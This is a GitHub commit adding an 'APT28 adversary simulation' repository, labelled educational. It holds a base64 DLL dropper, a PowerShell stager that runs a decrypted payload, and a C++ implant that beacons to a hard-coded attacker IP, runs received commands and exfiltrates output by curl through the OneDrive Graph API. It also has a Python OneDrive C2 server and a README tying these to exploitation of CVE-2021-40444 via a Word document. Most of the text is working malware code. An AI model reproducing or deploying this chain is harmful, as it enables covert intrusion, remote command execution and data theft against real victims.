Add files via upload

This commit is contained in:
S3N4T0R
2024-09-02 09:52:17 -04:00
committed by GitHub
parent efef473245
commit 94d8c0345c
54 changed files with 4002 additions and 0 deletions
@@ -0,0 +1,41 @@
//manual compile: csc /platform:x64 /target:library DLLDownloader.cs or csc /platform:x64 /target:exe DLLDownloader.cs
using System;
using System.IO;
namespace DllDownloader
{
class Program
{
static void Main(string[] args)
{
// base64-encoded content of the dfsvc.dll
string base64Content1 = "Your base64 string for dfsvc.dll here";
// base64-encoded content of the Stager.dll
string base64Content2 = "Your base64 string for Stager.dll here";
// convert base64 strings to byte arrays
byte[] fileBytes1 = Convert.FromBase64String(base64Content1);
byte[] fileBytes2 = Convert.FromBase64String(base64Content2);
// specify the file name
string fileName1 = "dfsvc.dll";
string fileName2 = "Stager.dll";
try
{
// save the byte arrays to files
File.WriteAllBytes(fileName1, fileBytes1);
File.WriteAllBytes(fileName2, fileBytes2);
Console.WriteLine($"DLLs '{fileName1}' and '{fileName2}' downloaded successfully.");
}
catch (Exception ex)
{
Console.WriteLine($"Failed to download DLLs: {ex.Message}");
}
}
}
}
@@ -0,0 +1,195 @@
# This script integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate OneDrive communication.
# This C2 is for simulation only and is still under development
# pip install -r requirements.txt
# python3 OneDrive.py
# Author: S3N4T0R
# Date: 2024-4-9
# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
import subprocess
import sys
import time
import threading
import socket
import base64
import os
import pyautogui
from pyvirtualdisplay import Display
import random
import shutil
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
BLUE = '\033[94m'
RESET = '\033[0m'
print(BLUE + """
██████╗ ███╗ ██╗███████╗██████╗ ██████╗ ██╗██╗ ██╗███████╗ ██████╗██████╗
██╔═══██╗████╗ ██║██╔════╝██╔══██╗██╔══██╗██║██║ ██║██╔════╝ ██╔════╝╚════██╗
██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║██║ ██║█████╗ ██║ █████╔╝
██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║╚██╗ ██╔╝██╔══╝ ██║ ██╔═══╝
╚██████╔╝██║ ╚████║███████╗██████╔╝██║ ██║██║ ╚████╔╝ ███████╗ ╚██████╗███████╗
╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚══════╝ ╚═════╝╚══════╝
""" + RESET)
# Function to get attacker information
def get_attacker_info():
attacker_ip = input("Enter the IP address for the reverse shell: ")
return attacker_ip
# Function to encrypt access token
def encrypt_access_token(token):
key = input("Enter your AES key (must be 16, 24, or 32 bytes long): ").encode()
if len(key) not in [16, 24, 32]:
print("Invalid key length. AES key must be 16, 24, or 32 bytes long.")
sys.exit(1)
cipher = AES.new(key, AES.MODE_ECB)
token_padded = pad(token.encode(), AES.block_size)
return base64.b64encode(cipher.encrypt(token_padded)).decode()
# Main function
def main():
# Get attacker info
access_token = input("Enter your OneDrive Application (client) ID: ")
secret_id = input("Enter your OneDrive Secret ID: ")
ip = get_attacker_info()
port = input("Enter the port number for the reverse shell and ngrok: ")
print("Starting ngrok tunnel...")
# Update to use ngrok tcp command with the port specified by the attacker
ngrok_process = subprocess.Popen(['ngrok', 'tcp', port])
time.sleep(3) # Give ngrok some time to establish the tunnel
access_token_encrypted = encrypt_access_token(access_token)
# Define headers for OneDrive API
headers = {
"Authorization": f"Bearer {access_token_encrypted}",
"Content-Type": "application/json",
"User-Agent": "OneDrive-API-Client/1.0",
"Connection": "keep-alive",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"X-Drive-Client-Secret": secret_id # Add secret ID to headers
}
# Create socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, int(port))) # Bind to the port specified by the attacker
s.listen(1)
print("Waiting for incoming connection...")
client_socket, addr = s.accept()
# Start shell
shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# Start display
display = Display(visible=0, size=(800, 600))
display.start()
# Create sessions dictionary
sessions = {}
session_counter = 1
# Main loop
while True:
command = input("Enter a command to execute (or type 'exit' to quit): ")
if command.lower() == "exit":
break
time.sleep(random.uniform(1, 5))
result = subprocess.run(command, shell=True, capture_output=True, text=True)
stdout = result.stdout
stderr = result.stderr
client_socket.send(command.encode())
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
if command.lower() == "screen":
session_id = str(session_counter)
session_counter += 1
sessions[session_id] = {"socket": client_socket, "display": display}
print(f"Started screen session {session_id}")
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
client_socket.send(screen_data.encode())
while True:
try:
screen = pyautogui.screenshot()
screen_data = base64.b64encode(screen.tobytes()).decode('utf-8')
client_socket.send(screen_data.encode())
time.sleep(0.1)
except KeyboardInterrupt:
print("\nScreen session ended.")
break
elif command.lower() == "upload":
file_path = input("Enter the path of the file to upload: ")
file_name = os.path.basename(file_path)
with open(file_path, "rb") as f:
file_data = f.read()
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_name + ":/content"
response = requests.put(url, headers=headers, data=file_data)
client_socket.send(response.text.encode())
elif command.lower() == "download":
file_path = input("Enter the path of the file to download: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.get(url, headers=headers)
with open(os.path.basename(file_path), "wb") as f:
f.write(response.content)
client_socket.send("File downloaded successfully.".encode())
elif command.lower() == "get":
file_path = input("Enter the path of the file: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.get(url, headers=headers)
client_socket.send(response.text.encode())
elif command.lower() == "remove":
file_path = input("Enter the path of the file to remove: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + file_path
response = requests.delete(url, headers=headers)
client_socket.send(response.text.encode())
elif command.lower() == "add":
folder_path = input("Enter the path of the folder to create: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path
data = {"name": folder_path.split('/')[-1], "folder": {}}
response = requests.post(url, headers=headers, json=data)
client_socket.send(response.text.encode())
elif command.lower() == "list_folder":
folder_path = input("Enter the path of the folder to list: ")
url = "https://graph.microsoft.com/v1.0/me/drive/root:/" + folder_path + ":/children"
response = requests.get(url, headers=headers)
client_socket.send(response.text.encode())
else:
client_socket.send(stdout.encode())
client_socket.send(stderr.encode())
# Close sockets and display
client_socket.close()
s.close()
display.stop()
# Terminate ngrok process
ngrok_process.terminate()
if __name__ == "__main__":
main()
@@ -0,0 +1,111 @@
# Fancy Bear APT28 Adversary Simulation
This is a simulation of attack by Fancy Bear group (APT28) targeting high-ranking government officials Western Asia and Eastern Europe
the attack campaign was active from October to November 2021, The attack chain starts with the execution of an Excel downloader sent
to the victim via email which exploits an MSHTML remote code execution vulnerability (CVE-2021-40444) to execute a malicious executable
in memory, I relied on trellix tofigure out the details to make this simulation: https://www.trellix.com/blogs/research/prime-ministers-office-compromised/
![photo_2024-04-06_23-42-01](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/bd9e3d64-a453-4aaf-9653-255a0cf4fe68)
This attack included several stages including exploitation of the CVE-2021-40444 vulnerability through which remote access execution can be accessed through word file this is done by injecting the DLL into Word file through this exploit, Also use OneDrive c2 Server to get command and control and this is to data exfiltration with hide malicious activities among the legitimate traffic to OneDrive.
1.Create dll downloads files through base64, This is to download two files the first is (dfsvc.dll) the second is (Stager.dll).
2.Exploiting the zero-day vulnerability to inject the DLL file into Word File and create an execution for DLL by opening Word File.
3.Word File is running and the actual payload is downloaded through DLLDownloader.dll and we have two files Stager.dll and dfsvc.dll.
4.The Stager decrypts the actual payload and runs it which in turn is responsible for command and control.
5.Data exfiltration over OneDrive API C2 Channe, This integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate OneDrive communication.
6.Get Command and Control through payload uses the OneDrive API to upload data including command output to OneDrive, the payload calculates the CRC32 checksum of the MachineGuid and includes it in the communication with the server for identification purposes.
![Screenshot from 2024-04-08 01-28-29](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/d6d418db-2d9a-4e4c-94fb-74596207d95a)
## The first stage (delivery technique)
First the attackers created DLL executable (DLLDownloader.dll) this DLL it can download two payloads by command line to make payload base64
`base64 dfsvc.dll -w 0` and `base64 Stager.dll -w 0` the first is (dfsvc.dll) the second is (Stager.dll), This DLL will be used in the next stage by injecting it into a Word file via the Zero-day vulnerability.
![Screenshot from 2024-04-16 21-38-27](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/d4fdc9a2-5268-42cf-98b0-4e8aff660ac6)
## The Second stage (implanting technique)
second the attackers exploited the Zero-day vulnerability (CVE-2021-40444) https://github.com/lockedbyte/CVE-2021-40444/
this vulnerability works by injecting a DLL file into Microsoft Word When the file is opened it executes the DLL payload, which is responsible for downloading two other payload (dfsvc.dll) and (Stager.dll).
![Screenshot from 2024-04-13 01-09-30](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/e03bfa09-ed13-4ddc-bf41-64d97187099b)
When a victim opens the malicious Office document using Microsoft Office, the application parses the document's content, including the embedded objects. The flaw in the MSHTML component is triggered during this parsing process, allowing the attacker's malicious code to be executed within the context of the Office application.
## The third stage (execution technique)
Now i have a Word file when i open it performs an execution for the DLL Downloader and thus downloads the two files (dfsvc.dll) and (Stager.dll) this is through the vulnerability CVE-2021-40444.
![Screenshot from 2024-04-16 17-21-17](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b496b5a9-28e9-49f1-a5c7-8324913cbf2f)
After that the stager decrypts the payload using the Decrypt-Payload function (you need to implement the decryption algorithm) and then executes the payload using the Execute-Payload function, In this simulation i made the build perform an execution directly without the need for the stager script, and it can be modified to suit the stager making an execution for the actual payload.
![Screenshot from 2024-04-16 17-59-42](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/30729f3f-d294-4ccc-82c3-7f1821f792df)
## The fourth stage (Data Exfiltration) over OneDrive API C2 Channe
The attackers used the OneDrive C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server,
By using OneDrive as a C2 server, attackers can hide their malicious activities among the legitimate traffic to OneDrive, making it harder for security teams to detect the threat. First, we need to create a Microsoft Azure account and activate its permissions, as shown in the following figure.
We will use the Application (client) ID for the inputs needed by the C2 server
![photo_2024-04-14_16-24-06](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/6e73395a-2221-411b-ab4a-e6c23f2b2897)
After that, we will go to the Certificates & secrets menu to generate the Secret ID for the Microsoft Azure account, and this is what we will use in OneDrive C2.
![photo_2024-04-14_16-24-14](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/fec5b59d-57ed-47f4-b640-d06782d8c16b)
To make simulation of this attack at the present time i did not use the PowerShell Empire to avoid detection and i make customization of the OneDrive C2 server,
This script integrates OneDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate OneDrive communication and i used AES Encryption to secure the connection just like the PowerShell Empire server that the attackers used in the actual attack, The customization OneDrive C2 Server inspired by PowerShell Empire.
![photo_2024-04-14_02-55-02](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/0e4a4178-053b-493d-90b2-f0988d80f5da)
## The fifth stage (payload with OneDrive API requests)
This payload establishes covert communication via socket to a remote server, disguising traffic within OneDrive API requests. It identifies machines using CRC32 checksums of their MachineGuids. Commands are executed locally, with outputs sent back to the server or uploaded to OneDrive. Its dynamic configuration enables flexible and stealthy remote control and data exfiltration.
![Screenshot from 2024-04-14 16-59-47](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b784cfdd-e83e-41b3-857b-23e56396312d)
1.Covert communication: The payload initiates a socket connection to a specified IP address and port.
2.Identification mechanism: It retrieves the MachineGuid from the Windows registry and calculates its CRC32 checksum.
![171351508026027259](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/ba5979bc-eb9b-4e98-b74a-002e6846ff36)
3.Command execution: The payload enters a loop to receive commands from the remote server or OneDrive.
4.Data exfiltration: After execution it captures output and sends it back to the server or uploads it to OneDrive.
5.Stealthy communication: Utilizing OneDrive API it blends network traffic with legitimate OneDrive traffic.
6.Dynamic configuration: Behavior is configured by specifying IP address, port and optionally an access token for OneDrive.
![Screenshot from 2024-04-14 22-43-29](https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/b2eda097-d7f7-48ab-823d-f720badf69f1)
## Final result: payload connect to OneDrive C2 server
the final step in this process involves the execution of the final payload. After being decrypted and loaded into the current process, the final payload is designed to beacon out to both OneDrive API-based C2 server.
https://github.com/S3N4T0R-0X0/APT28-Adversary-Simulation/assets/121706460/becef683-c49b-40d5-9047-d8e8c6303eaa
@@ -0,0 +1,75 @@
//manual compile: csc /reference:/opt/microsoft/powershell/7/System.Management.Automation.dll,/usr/lib/mono/4.5.1-api/Facades/System.Runtime.dll /out:Stager.dll Stager.cs
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
namespace PowerShellStager
{
class Program
{
static void Main(string[] args)
{
// attacker configuration
string attackerIP = "192.168.1.1";
int attackerPort = 4444;
// embedded and encrypted payload (replace with your encrypted payload)
byte[] encryptedPayload = { 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x2C, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64 };
// decrypt and execute the payload
try
{
byte[] decryptedPayload = DecryptPayload(encryptedPayload);
ExecutePayload(decryptedPayload);
}
catch (Exception ex)
{
Console.WriteLine($"Failed to decrypt and execute payload: {ex.Message}");
}
}
static byte[] DecryptPayload(byte[] encryptedPayload)
{
// implement your decryption algorithm here
// example:
// byte[] decryptedPayload = new byte[encryptedPayload.Length];
// for (int i = 0; i < encryptedPayload.Length; i++)
// {
// decryptedPayload[i] = (byte)(encryptedPayload[i] ^ 0xFF);
// }
// return decryptedPayload;
// for demonstration purposes, return the encrypted payload as-is
return encryptedPayload;
}
static void ExecutePayload(byte[] payload)
{
// convert byte array to PowerShell script
string script = Encoding.ASCII.GetString(payload);
// preate a powerShell runspace
using (Runspace runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
// create a pipeline and feed the script into it
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(script);
// execute the script
try
{
pipeline.Invoke();
Console.WriteLine("Payload executed successfully.");
}
catch (Exception ex)
{
Console.WriteLine($"Failed to execute payload");
}
}
}
}
}
@@ -0,0 +1,140 @@
//this payload uses the OneDrive API to upload data, including command output to OneDrive. By leveraging the OneDrive API and providing an access token the payload hides its traffic within the legitimate traffic of the OneDrive service, the payload calculates the CRC32 checksum of the MachineGuid and includes it in the communication with the server for identification purposes.
//manual compile: i686-w64-mingw32-g++ -o dfsvc.dll payload.cpp -lws2_32 -static-libgcc -static-libstdc++
#include <iostream>
#include <fstream>
#include <sstream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <cstdlib>
#include <cstdio>
#include <winreg.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
string execute_command(const char* cmd) {
char buffer[128];
string result = "";
FILE* pipe = _popen(cmd, "r");
if (!pipe) throw runtime_error("_popen() failed!");
try {
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
result += buffer;
}
} catch (...) {
_pclose(pipe);
throw;
}
_pclose(pipe);
return result;
}
string get_machine_guid() {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char buffer[256];
DWORD bufferSize = sizeof(buffer);
if (RegQueryValueEx(hKey, "MachineGuid", NULL, NULL, (LPBYTE)buffer, &bufferSize) == ERROR_SUCCESS) {
return string(buffer);
}
RegCloseKey(hKey);
}
return "";
}
DWORD calculate_crc32(const string& data) {
DWORD crc = 0xFFFFFFFF;
for (char c : data) {
crc ^= c;
for (int i = 0; i < 8; i++) {
crc = (crc >> 1) ^ (0xEDB88320 & (-(crc & 1)));
}
}
return ~crc;
}
string download_from_onedrive(const string& access_token) {
string url = "https://graph.microsoft.com/v1.0/me/drive/root:/payload_input.txt:/content";
string cmd = "curl -H \"Authorization: Bearer " + access_token + "\" " + url;
return execute_command(cmd.c_str());
}
void upload_to_onedrive(const string& data, const string& access_token) {
string url = "https://graph.microsoft.com/v1.0/me/drive/root:/payload_output.txt:/content";
string cmd = "curl -X PUT -H \"Authorization: Bearer " + access_token + "\" -d \"" + data + "\" " + url;
execute_command(cmd.c_str());
}
void main_loop(const string& ip, int port, const string& access_token = "") {
SOCKET s;
sockaddr_in server;
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData) != 0) {
cout << "WSAStartup failed" << endl;
return;
}
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
cout << "Could not create socket" << endl;
WSACleanup();
return;
}
server.sin_addr.s_addr = inet_addr(ip.c_str());
server.sin_family = AF_INET;
server.sin_port = htons(port);
if (connect(s, (sockaddr*)&server, sizeof(server)) < 0) {
cout << "Connection failed" << endl;
closesocket(s);
WSACleanup();
return;
}
string machine_guid = get_machine_guid();
if (!machine_guid.empty()) {
DWORD crc32_checksum = calculate_crc32(machine_guid);
string payload = "CRC32Checksum: " + to_string(crc32_checksum) + "\n";
send(s, payload.c_str(), payload.size(), 0);
}
char buffer[1024] = {0};
while (true) {
string command;
if (!access_token.empty()) {
command = download_from_onedrive(access_token);
} else {
recv(s, buffer, sizeof(buffer), 0);
command = string(buffer);
}
if (command == "exit\n") break;
string output = execute_command(command.c_str());
if (!access_token.empty()) {
upload_to_onedrive(output, access_token);
} else {
send(s, output.c_str(), output.size(), 0);
}
}
closesocket(s);
WSACleanup();
}
int main() {
string ip = "192.168.1.1"; // change to the attacker ip
int port = 4444; // change to the port the attacker
string access_token; // set OneDrive access token
main_loop(ip, port, access_token);
return 0;
}
@@ -0,0 +1,4 @@
pyautogui
pyvirtualdisplay
requests
cryptography